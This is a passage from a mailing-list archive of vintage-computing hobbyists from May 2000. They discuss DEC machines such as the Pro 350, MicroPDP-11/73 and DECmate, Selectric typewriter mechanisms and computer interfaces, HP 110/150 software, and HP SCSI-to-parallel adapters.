platform Yes, RX01 is what I meant. That was standard equipment on the 11/780 and 11/785. There's a specific suffix that designates that mounting, but AFAIK it was only used that way in the 78x. From ethan_dicks at yahoo.com Thu May 11 18:31:25 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:45 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) Message-ID: <20000511233125.20674.qmail@web612.mail.yahoo.com> --- Eric Smith wrote: > Zane wrote: > > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > > DECmate I used for a case... > > Ethan wrote: > > A VT100. Floppies were RX02 and external. There was also apparently > > an RL02 interface, but I've never personally witnessed one. > > Interesting. I've seen a VT78, which IIRC is a 6100 microprocessor-based > system mounted in a VT52-style terminal, but I didn't know there was one > in a VT100. I guess I wasn't sure exactly what a DECmate I was, since > I've only managed to find the DECmate II and III. One more item for > my "wanted" list. Anyone care to trade a DECmate I for a II? No, but I'd consider a trade of a DECmate III for a VT78. :-) (I only have one DECmate I, one DECmate II and two DECmateIIIs, no VT78s) -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From elvey at hal.com Thu May 11 18:36:24 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> Message-ID: <200005112336.QAA23329@civic.hal.com> "John Allain" wrote: > > I have to jump in since someone brought up the Selectric. > > Has any-one here ever dismantled a Selectric? Did once > and though I thought knew mechanisms at the time it turns > out I sure didn't. The central mechanism seemed like a cross > between Dr. Nim (On Topic) and DigiComp-1. > The key presses were relayed by an almost binary series of > pushrods to a cascaded teeter-totter matrix. > The damndest mechanism I've ever seen. Anybody else have > this reaction? > Seems like a pretty good topic so I'm chiming in with this... Hi I used to work on teletypes with moving drums and type boxes. These are alway complicate machines with decoding and encoding bars that slide this way and that. The only type that is really simple is the more standard rotating drum that drives a single print hammer for each key. Think about making mechanical software that first takes a single input port status and then finds the codes to send to a couple of ports. One port describes rotation and the other lift ( or tilt ). Now think how you'd do this mechanically. Add the fact that you need to do all this in sequence so that it was completed by the time the ball hit the ribbon. It is not a simple operation. I marvel at the fact that anyone even thought it was possible to make it work. Then, I've always been fascinated by a sewing machine! Dwight From ard at p850ug1.demon.co.uk Thu May 11 17:31:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: OT: Mailing list options In-Reply-To: <391B2BE9.4BDEBDF5@mcmanis.com> from "Chuck McManis" at May 11, 0 02:53:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1226 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/8eb73ede/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 11 17:43:52 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> from "John Allain" at May 11, 0 05:59:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/5d3bbf98/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 11 17:32:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <200005112109.OAA05562@shell1.aracnet.com> from "healyzh@aracnet.com" at May 11, 0 02:09:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 323 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/7480a368/attachment-0001.ksh From rigdonj at intellistar.net Thu May 11 20:03:33 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:45 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> At 07:37 PM 5/11/00 +0100, you wrote: >> >> Hi, >> >> I was helping to sort a load of surplus test equipment yesterday and >> found a couyple of DEC computers. Since I'm not a DEC head I don't know >> anything about them so can someone tell me more about them and if they're >> worth rescueing. The first is a DEC Por 350, there are two of them. The > >The PRO 350 (Professional 350) is essentially a desktop PDP11. There's an >F11 chipset in there (like in an 11/23) linked to a somewhat strange bus. >The video display system in also on that bus (like on a PC) -- it's not a >serial terminal which is more conventional for PDP11s. You link a VR201 >(composite mono) or VR241 (colour) monitor up the machine -- I believe >the latter needs some kind of video expansion card. User input is via an >LK201 keyboard (same keyboard as the VT220, etc). Yeap, I have to go back and look for the monitor. I didn't know what it used so I couldn't pick it out. > >There's most likely an RX50 dual floppy drive in the right hand drive bay >and an RD50 or RD51 (5 or 10M winchester) in the left bay. I went through both machines today. The 350 has a RD51 and a RX50. > >There are 6 bus connectors. The front 2 are for the hard and floppy >controllers. The next 2 are for the video card and video expansion card. >The next one might contain a memory expansion card. The last one might >contain an ethernet card (if you're really lucky) or a VAX interface card >(which, IIRC contains RS232 and GPIB ports). To look at the expansion >slots, pull the cover (catches under the lip on the sides), take off the >end plate of the expansion bay (3 thumbscrews IIRC) and unplug the cables >on top of the cards (note where they all go!). Then pull the 'flag' on >the card outwards towards the right side of the machine) and turn it (I >forget which way, but it only turns one way). This spreads the contacts >in the connecotr. The board now slides out towards the right side of the >machine. I didn't pull the cards but it has a 000401, a 002004, a 001002 and a 000034. Can anyone id these? It also has two daughterboards (with memory) attached to the main circuit baord. This one is also mounted in a tower style case. I took a lot of pictures and I'll post them on the web as soon as I can. > >> other is is a Micro PDP 11/73. Both are roughly the size of a large tower > >The MicroPDP11/73 is a PDP11 using the J11 CPU chip (one of the later and >faster single-chip PDP11 CPUs, with 22 bit addressing, etc). The >backplane bus is Qbus. And from the description, it's in a BA23 cabinet, >which is one of my least favourites because it's so small that I always >manage to catch my hand on something when working in one... > >You need to take off the back panel (2 screws just below the power supply >connectors, etc) and look at the handles of the boards. Each will have an >'M-number' on it (M followed by 4 digits). If you post a list of the >numbers here, somebody can tell you what you have. This is a cool machine! I got into it today too. I found out that it has a Q-bus HP-IB card in it made by Tektronix! I saw the manuals and software for the card in the load that just came in. This machine was used a a controller for a Tektronix 7912(?) Digitizer. Besides the Tektronix card, it has a M8190, a M7551, and a M8639 card in it. Can anyone ID them? I also took a bunch of pictures of this one. I'll post them as soon as I can. Joe From richard at idcomm.com Thu May 11 19:20:40 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator References: Message-ID: <001701bfbba7$e8b6f460$0400c0a8@winbook> See embedded remarks, plz. Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Thursday, May 11, 2000 3:43 PM Subject: Re: Keyboard actuator > On Thu, 11 May 2000, Richard Erlacher wrote: > > > Yes, that's the "rate" for the selectric. However, there were at least two > > selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer > > for the 1130 system. Those would last over a year under pretty hard useage > > (I was the user and watched the same mechanism run for about a year). > > > However, the normal desktop selectric typewriter would fall apart within a > ^^^^^^ > > very short time with a mechanical actuator. I tried this myself once, but > > was dissuaded from continuing it when a friend's selectric broke under the > > actuator he'd bought through an ad in BYTE. > I was not aware that there was a "falls apart by itself" model from IBM. The ones I had, and which I'd split with a number of friends was extracted from a building about to be domolished but belonging to the "Phone Company" (before the breakup) and the three that I got were still in the sealed box. These were definitely not "home" typewriters. There were also numerous Teletype terminals (glass TTY) with band printers and several different modems, not to mention quite a number of other fancy phone hardware items, e.g. 6-button repertory-dialing phones, etc. This was during the '70's when such things were still considered VERY fancy. > > A properly setup mechanical actuator is quite a bit LESS stressfull to the > keyboard than a human. You are probably talking about the POS "home" > model, that would fall apart within a very short time if anybody typed on > it. It was nice to have for home use, but not suitable for office usage. > > Using the keyboard actuator and a selectric as a substitute for a normal > printer seems a pretty BAD idea. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > DogEars > From technoid at cheta.net Thu May 11 19:41:27 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:45 2005 Subject: PDP8 found and available In-Reply-To: <001701bfbba7$e8b6f460$0400c0a8@winbook> Message-ID: <200005120041.UAA10615@lexington.ioa.net> This would certainly require some cash, but Ed at CPB mentioned he had found a PDP 8 this week. Any interested parties please call ED at 828-274-5963 or E-mail him at EDCPB@email.com. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From elvey at hal.com Thu May 11 19:50:38 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <200005120050.RAA24207@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > > > I have to jump in since someone brought up the Selectric. > > > > Has any-one here ever dismantled a Selectric? Did once > > Never done a Selectric. Worked on teleprinters, though, and some of those > have some _strange_ mechanisms. Olivetti had a binary->position decoder > that consists of a series of metal cylinders each with an eccentric hole > such that each one fitted over the next smaller. These were rotated into > one of 2 positions according to the state of a particular bit (one bit > for each cylinder, all cylinders could move separately), so the > overall displacement of a follower on the largest cylinder was determined > by the total binary value of all the bits. > > Creed made a paper tape reader where the holes in the tape for a > particular characeter were sampled one at a time by a series of metal > 'peckers' and the state transmitted serially by a single contact assembly > operated by a link from the peckers. > > Creed also had an amazing carriage feed mechanism consisting of a pair of > pawls opeated by a camshaft (half a turn per character IIRC) that 'walk' > along a rack fixed to the carriage. That one is almost amusing to watch. > > > and though I thought knew mechanisms at the time it turns > > out I sure didn't. The central mechanism seemed like a cross > > between Dr. Nim (On Topic) and DigiComp-1. > > The key presses were relayed by an almost binary series of > > pushrods to a cascaded teeter-totter matrix. > > FWIW, I believe the service manuals for Selectrics were available from > IBM, and maybe they still are. > > > The damndest mechanism I've ever seen. Anybody else have > > this reaction? > > Seems like a pretty good topic so I'm chiming in with this... > > > > John A. > > P.S. Don't go breaking up working ones to find out though. > > Dismantling a machine is not equivalent to breaking it up :-). It can't > be that hard to get them back together again... > > -tony > > > > > > From elvey at hal.com Thu May 11 19:52:25 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <200005120052.RAA24271@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > Dismantling a machine is not equivalent to breaking it up :-). It can't > be that hard to get them back together again... > > -tony Hi Tony I don't know about that. I remember this alarm clock. I just took out a few screws and ......... Dwight From technoid at cheta.net Thu May 11 19:45:16 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:45 2005 Subject: KIM Manual / Selectric In-Reply-To: Message-ID: <200005120057.UAA14211@lexington.ioa.net> Back in the olden days of microcomputers a printer of any type cost a bundle. One solution hobbyists use was interfacing old teletype equipment to your Kim, Atari, Apple, Aim, etc. This gave you a printer but not all the special characters a 'real' printer could produce. They were not good for correspondence.... They also ate a lot of current and were obnoxiously loud. I.B.M. Selectric typewriters were dirt common in offices and still cost a bundle at $300.00 to $600.00 used. Still, a selectric had changeable typefaces (by changing the ball) and great quality. They were not very fast but Were very rugged and reliable. Even a new Selectric was a bargain compared to a Diablo or other daisy-wheel printers. The thing is that the Selectric is not a computer printer. Its a typewriter. There were a number of home-grown computer interfaces for them to make a printer but I think the most interesting one was a board with a bank of solenoids mounted on it which faced the keyboard of the typewriter. When a solenoid was actuated it struck the key below it on the typewriter's keyboard.... This was a simple interface which just bolted on top of the existing keyboard without any mods to I.B.M.'s gear which would void your warranty. The Selectric option was beyond my financial means at the time. I ended up settling for a Western Electric teletype for a couple of years until I got a Brother EP22 thermal typewriter with an RS232 jack on it. Quality was good if not excellent, it was GOBS quieter than the teletype which made my folks happy, and could print on regular paper if you used a thermal transfer ribbon instead of thermal paper. Neither the WE teletype nor the EP22 would allow me to print my Hitchhiker's Guide or Zork sessions as these games were 'boot' games with thier own dos. Since the Atari 8-bit did not have a resident Serial printer handler, I could not print from an Infocom game. The EP22 was excellent for code printouts and most other things. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From ernestls at home.com Thu May 11 21:17:57 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe Sent: Thursday, May 11, 2000 12:18 PM To: classiccmp@classiccmp.org Subject: Re: Couple of cool HP 110/150 finds > >At 10:47 PM 5/2/00 -0700, Earnest said something about: >>Today, I was given a bunch of interesting vintage items. >> HP 88396 SCSI to parrallel interface. Did you ever find out more about this? I just picked up one of one yesterday with the cables. The other end of the cable that fits the DB-25 connector has a male Centronics style connector on it. The SCSI port has a feed-through type terminator on it. Attached to that is a cable that has a micro-SCSI connector on the other end of it. FWIW the box says "same functionality as 88395". Joe No, I haven't found anything out about it at all. I haven't really been looking though, as I'm working on some other things with my Apple IIe. To tell you the truth, I've been putting off working with my HP 150/110/110+ stuff because I want to be able to devote some serious focus time to them. My 150 needs to be re-setup I think, and that'll be a bit complicated for me since I haven't set one up from scratch before. I have more manuals for it than I know what to do with, so I shouldn't have to hammer you with to many questions. By the way, I found a new disk for the 150 Touchscreen: Advance Link Master#3 (45431-13003) A.01.01 2435 Upload A.01.02 Monitor 3000 A.02.04 Are you familiar with this bit of software? I'm assuming that it's comm software for linking a 110/110+ to the 150 but I'm not sure. I also picked up a 110+ with some manuals but no software. I'm not sure if there even was software for the 110 series, since they're ROM based systems. Ernest From cem14 at cornell.edu Thu May 11 22:48:59 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds (HP88396/395) In-Reply-To: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <3.0.2.32.20000511234859.01216d7c@postoffice3.mail.cornell.edu> At 02:17 PM 5/11/00 -0500, Joe wrote: >>>Today, I was given a bunch of interesting vintage items. >>> HP 88396 SCSI to parrallel interface. > > Did you ever find out more about this? > I just picked up one of one yesterday with the cables. The other end of >the cable that fits the DB-25 connector has a male Centronics style >connector on it. The SCSI port has a feed-through type terminator on it. >Attached to that is a cable that has a micro-SCSI connector on the other >end of it. FWIW the box says "same functionality as 88395". > > Joe I also have an 88395. It has been a puzzle for me. The enclosure is the same of such HPIL gadgets as the 82164 and 82165. However, the power supply connector is different; mine in fact had a big wart xformer attached made by AT&T and rated 20VAC, 2A, and marked "security isolation transformer". Inside, there is an MC68B09FN uController, an NCR SCSI chip, an MB8464-15 static ram, a 28 pin ROM, bridge+filter+regulator, and finally, what seems like too much glue logic (14 chips) near the parallel port. In particular, there is a 20 pin quad (TI 901FF) somewhere between the data bus and the paralell port. Perhaps some clocked parallel I/O? or a FIFO? Seems to me that they were trying to increase the speed of the parallel port to meet that of the SCSI chip at the other end. The chips were all manufactured in '88 or before, so I'd say this was built in '89 . This was a device designed to provide SCSI connectivity to something that had parallel ports and no easy way of adding other cards; I don't think that it was intended for Vectras. I suspect that this was designed to give the HPIB-based 9000-300 systems (which had a parallel port) the opportunity to talk to SCSI tape drives, perhaps even HD's (though not for boot devices, I'm sure). 1989 is about the right time; it was then that it became clear that HPIB hard disks were a dead end. carlos From ethan_dicks at yahoo.com Thu May 11 23:16:02 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:45 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) Message-ID: <20000512041602.18478.qmail@web614.mail.yahoo.com> --- technoid@cheta.net wrote:> Back in the olden days of microcomputers a printer of any type cost a> bundle...Oh, yeah.> ...I think the most interesting one was a board> with a bank of solenoids mounted on it which faced the keyboard of the> typewriter.Because my mother had the typewriter, I wanted that device so bad. I justcouldn't afford it as a teenager.> Neither the WE teletype nor the EP22 would allow me to print my Hitchhiker's> Guide or Zork sessions as these games were 'boot' games with thier own dos.> Since the Atari 8-bit did not have a resident Serial printer handler, I could> not print from an Infocom game.By the time I could afford a printer, I had a Commodore-64 to drive it. Theprinter was an ancient Centronics that had two print heads - one for columns1 through 80 and another for 81 through 132. It had a genuine Centronicsinterface, of course. I built a cable for the user port and wrote a handlerthat fit in the cassette buffer and wedged in the OS routine for CHROUT. Istill have some Infocom transcripts from that printer as well as some ScottAdams disassembly from a game ripper I wrote in BASIC.I used to customize my Infocom environment in several ways before playingthe older games - I would load the PET font (captured by moving the characterROM to a regular expansion socket and typing the save command blind into TIM,the PET's ROM-based machine language monitor), change the color to green onblack and load my parallel printer driver before starting a session.I was such an Infocom afficianado that I eventually disassembled the oldest(and simplest) version of the C-64 ZIP (Zork Implementation Program, thegame engine) and have recompiled it to work on the VIC-20 (with enough RAM)and the BASIC 2.0 PET (I haven't gone back to find which zero-page locationsare getting stomped by the CHROUT routine in the kernal in BASIC 4.0).As an avid fan, it was a blast beta-testing "Return To Zork". It wasn't agreat game, but the coolest part was watching my bug reports turn intodetectable improvements in the game. I also pitched Infocom about portingRtZ to the Amiga, but it never happened. I got the underlying engine workingas a demonstration (text only, no graphics), but the project was cancelled dueto lack of expected financial reward.Needless to say, I've spent many an hour playing and writing adventures. Printing... oh, yeah... this post started off about printing... yeah,that, too. :-)-ethan Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. --------------------------------- Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/edff7ac8/attachment-0001.html From mikeford at socal.rr.com Thu May 11 23:00:16 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:45 2005 Subject: Selectric II or III ribbons In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> References: Message-ID: Since we are talking Selectric, I have a box of new ribbons. At least one carton of 6 or 8 ribbons is for the Selectric II or III, some are for Qume, some I have no clue. If these sound like $5 of adventure plus shipping to a list member, tell me soon, otherwise I plan to rack in the big bucks on eBay. From mrdos at swbell.net Thu May 11 00:20:46 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:45 2005 Subject: KIM Manual / Selectric Message-ID: <007401bfbb08$c9f0d7c0$21703ed8@compaq> The IBM MagCard and MagCard II used the selectric in an interesting way. The MagCard II was a large (and HEAVY) box connected to a Selectric II with a very thick cable. The user would type a document on the typewriter. Then, they would insert a small magnetic card into the large box, and press a button on the typewriter. The document would then be saved on the card. To recall a document, the user would insert the card, and press a key on the typewriter. The typewriter would then type the document out on paper. There are lots of connectors inside the "large box" labeled things like OPTION and PERIPHERAL. Using a MagCard or MagCard II would probably be the easiest way to interface a Selectric to a computer. I have a book that has a picture of a unit very much like my MagCard II, except that it uses Magnetic Tapes instead of Cards. It's really fun to watch the MagCard II type out documents from the cards. It's a lot faster than I thought a Selectric could be. -----Original Message----- From: technoid@cheta.net To: classiccmp@classiccmp.org Date: Thursday, May 11, 2000 8:09 PM Subject: Re: KIM Manual / Selectric >Back in the olden days of microcomputers a printer of any type cost a >bundle. One solution hobbyists use was interfacing old teletype equipment >to your Kim, Atari, Apple, Aim, etc. This gave you a printer but not all >the special characters a 'real' printer could produce. They were not good >for correspondence.... They also ate a lot of current and were obnoxiously >loud. > >I.B.M. Selectric typewriters were dirt common in offices and still cost a >bundle at $300.00 to $600.00 used. Still, a selectric had changeable >typefaces (by changing the ball) and great quality. They were not very >fast but Were very rugged and reliable. Even a new Selectric was a bargain >compared to a Diablo or other daisy-wheel printers. > >The thing is that the Selectric is not a computer printer. Its a >typewriter. There were a number of home-grown computer interfaces for >them to make a printer but I think the most interesting one was a board >with a bank of solenoids mounted on it which faced the keyboard of the >typewriter. When a solenoid was actuated it struck the key below it on >the typewriter's keyboard.... This was a simple interface which just >bolted on top of the existing keyboard without any mods to I.B.M.'s gear >which would void your warranty. > >The Selectric option was beyond my financial means at the time. I ended >up settling for a Western Electric teletype for a couple of years until I >got a Brother EP22 thermal typewriter with an RS232 jack on it. Quality >was good if not excellent, it was GOBS quieter than the teletype which >made my folks happy, and could print on regular paper if you used a >thermal transfer ribbon instead of thermal paper. Neither the WE teletype >nor the EP22 would allow me to print my Hitchhiker's Guide or Zork >sessions as these games were 'boot' games with thier own dos. Since the >Atari 8-bit did not have a resident Serial printer handler, I could not >print from an Infocom game. The EP22 was excellent for code printouts and >most other things. > > >-- >----------------------------------------------------------- >Jeffrey S. Worley >Complete Computer Services >30 Greenwood Rd. >Asheville, NC 28803 >828-274-5781 0900-1800 weekdays >Who is General Failure and why is he reading my hard disk? >Technoid@Cheta.net >----------------------------------------------------------- > From donm at cts.com Fri May 12 00:29:24 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds (HP88396/395) In-Reply-To: <3.0.2.32.20000511234859.01216d7c@postoffice3.mail.cornell.edu> Message-ID: On Thu, 11 May 2000, Carlos Murillo wrote: > At 02:17 PM 5/11/00 -0500, Joe wrote: > >>>Today, I was given a bunch of interesting vintage items. > >>> HP 88396 SCSI to parrallel interface. > > > > Did you ever find out more about this? > > I just picked up one of one yesterday with the cables. The other end of > >the cable that fits the DB-25 connector has a male Centronics style > >connector on it. The SCSI port has a feed-through type terminator on it. > >Attached to that is a cable that has a micro-SCSI connector on the other > >end of it. FWIW the box says "same functionality as 88395". > > > > Joe > > I also have an 88395. It has been a puzzle for me. The enclosure > is the same of such HPIL gadgets as the 82164 and 82165. However, > the power supply connector is different; mine in fact had a big > wart xformer attached made by AT&T and rated 20VAC, 2A, and marked > "security isolation transformer". Carlos, if the wart is at the end of the mains cable, and the application unit cable ends up in a 4-pin thing that looks like the head of an old putter, it is a twin to one that I have that runs an HP Deskjet printer. The output is 20VAC center-tapped. - don > Inside, there is an MC68B09FN uController, an NCR SCSI chip, > an MB8464-15 static ram, a 28 pin ROM, bridge+filter+regulator, > and finally, what seems like too much glue logic (14 chips) near > the parallel port. In particular, there is a 20 pin quad (TI 901FF) > somewhere between the data bus and the paralell port. Perhaps > some clocked parallel I/O? or a FIFO? Seems to me that they were > trying to increase the speed of the parallel port to meet that of the > SCSI chip at the other end. The chips were all manufactured in '88 or > before, so I'd say this was built in '89 . This was a device > designed to provide SCSI connectivity to something that had parallel > ports and no easy way of adding other cards; I don't think that it > was intended for Vectras. I suspect that this was designed to > give the HPIB-based 9000-300 systems (which had a parallel port) the > opportunity to talk to SCSI tape drives, perhaps even HD's (though > not for boot devices, I'm sure). 1989 is about the right time; > it was then that it became clear that HPIB hard disks were a dead end. > > carlos > > From dpeschel at eskimo.com Fri May 12 00:50:04 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: from "allisonp@world.std.com" at May 11, 2000 09:33:55 AM Message-ID: <200005120550.WAA28478@eskimo.com> Allison Parent wrote: > > Fred Cisin wrote... > > > It is vitally important that you not exceed 14.8 characters per second on > > > Selectrics. > > > > ... or what? Does the Balls-O-Meter wear out? :) > > Like most typewriters it's mechancical and if driven to fast it will jam > and do bad things. Yes, I understand that, but I was also wondering why the precise speed of 14.8 characters per second. Besides, "Balls-O-Meter" is fun to work into a conversation. I'm not sure if all Selectrics have them, though (I think the early ones do). -- Derek From ernestls at home.com Fri May 12 01:03:49 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds (12 HP-IB cables!) In-Reply-To: Message-ID: <000001bfbbd7$d7de5c20$59a40b18@C721564-A.sttln1.wa.home.com> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330189024 If you need HP-IB cables, then you might want to check out this auction. From fmc at reanimators.org Fri May 12 01:09:32 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: "Ernest"'s message of "Thu, 11 May 2000 19:17:57 -0700" References: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: <200005120609.XAA17961@daemonweed.reanimators.org> "Ernest" wrote: > By the way, I found a new disk for the 150 Touchscreen: > > Advance Link Master#3 (45431-13003) A.01.01 2435 > Upload A.01.02 > Monitor 3000 A.02.04 > > Are you familiar with this bit of software? I'm assuming that it's comm > software for linking a 110/110+ to the 150 but I'm not sure. No, it's comm software for linking a 150 to an HP3000. AdvanceLink is an HP terminal emulator of sorts (let's face it, most of the terminal emulation is in the 150's firmware) with a so-so scripting language and upload/download capabilities. It came on more than one disk, I think that is disk 3 of the set, and I think it's got the stuff for uploading the HP3000 side of the file-transfer software to the 3000. > I also picked up a 110+ with some manuals but no software. I'm not sure if > there even was software for the 110 series, since they're ROM based systems. A little bit, plus you could use some of the generic MS-DOS software that was suitable for the 150s on the 110 and Portable Plus. Once upon a time, I was doing Pascal compilations on a 110 using the Microsoft Pascal compiler on 150-format stiffies. (It wasn't a very fast development system.) -Frank McConnell From mikeford at socal.rr.com Fri May 12 01:03:02 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:45 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) In-Reply-To: <20000512041602.18478.qmail@web614.mail.yahoo.com> Message-ID: turn into detectable improvements in the game. I also pitched Infocom about porting RtZ to the Amiga, but it never happened. I got the underlying engine .......... Are you SURE, I am fairly certain I bid on a few cases of Infocomm Amiga versions (might have been the lost treasures series, but I thought it was more). From flo at rdel.co.uk Fri May 12 02:17:32 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:52:45 2005 Subject: DEC Correspondent (LA12) question... References: <20000511113648.A1560@loomcom.com> Message-ID: <391BB00C.FA565ACD@rdel.co.uk> sjm wrote: > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > But I've got no earthly clue how to configure the thing for baud > rate, flow control, stop bits, anything. There is some setup information in Chapter 13 and Appendix H of the Terminals and Printers Handbook 1983-84, online at http://vt100.net/docs/tp83/ From rigdonj at intellistar.net Fri May 12 08:30:10 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:45 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.co m> References: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000512083010.264f4d3e@mailhost.intellistar.net> Hi Ernest, At 07:17 PM 5/11/00 -0700, you wrote: > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe >Sent: Thursday, May 11, 2000 12:18 PM >To: classiccmp@classiccmp.org >Subject: Re: Couple of cool HP 110/150 finds > > >> >>At 10:47 PM 5/2/00 -0700, Earnest said something about: > >>>Today, I was given a bunch of interesting vintage items. > >>> HP 88396 SCSI to parrallel interface. > > Did you ever find out more about this? > > I just picked up one of one yesterday with the cables. The other end of >the cable that fits the DB-25 connector has a male Centronics style >connector on it. The SCSI port has a feed-through type terminator on it. >Attached to that is a cable that has a micro-SCSI connector on the other >end of it. FWIW the box says "same functionality as 88395". > > Joe > >No, I haven't found anything out about it at all. I haven't really been >looking though, as I'm working on some other things with my Apple IIe. To >tell you the truth, I've been putting off working with my HP 150/110/110+ >stuff because I want to be able to devote some serious focus time to them. >My 150 needs to be re-setup I think, and that'll be a bit complicated for me >since I haven't set one up from scratch before. They're not hard to setup once you get through all the menus and get to the setup menu. Replace the two N-cells in the holder that clips into the back of the 150 before you start. They're used to power the CMOS memory and they're usually dead so the CMOS won't hold it's settings. I have more manuals for it >than I know what to do with, so I shouldn't have to hammer you with to many >questions. > >By the way, I found a new disk for the 150 Touchscreen: > >Advance Link Master#3 (45431-13003) A.01.01 2435 >Upload A.01.02 >Monitor 3000 A.02.04 > >Are you familiar with this bit of software? I'm assuming that it's comm >software for linking a 110/110+ to the 150 but I'm not sure. It's used to make the 150 emulate a terminal and is used to talk to the HP mainframes. I have the manual here, but the program isn't real usefull IMO. > >I also picked up a 110+ with some manuals but no software. I'm not sure if >there even was software for the 110 series, since they're ROM based systems. Actually there is a fair amount of software for the 110. I even have some game programs from Infocom that were modified to run on the 110. I dug out all my 110 software and it filled two good size boxs. I'm still going to make copies for your archives when I get a chance. Joe > >Ernest > > From John.Allain at donnelley.infousa.com Fri May 12 09:03:23 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:45 2005 Subject: Selectric photo In-Reply-To: <007401bfbb08$c9f0d7c0$21703ed8@compaq> Message-ID: 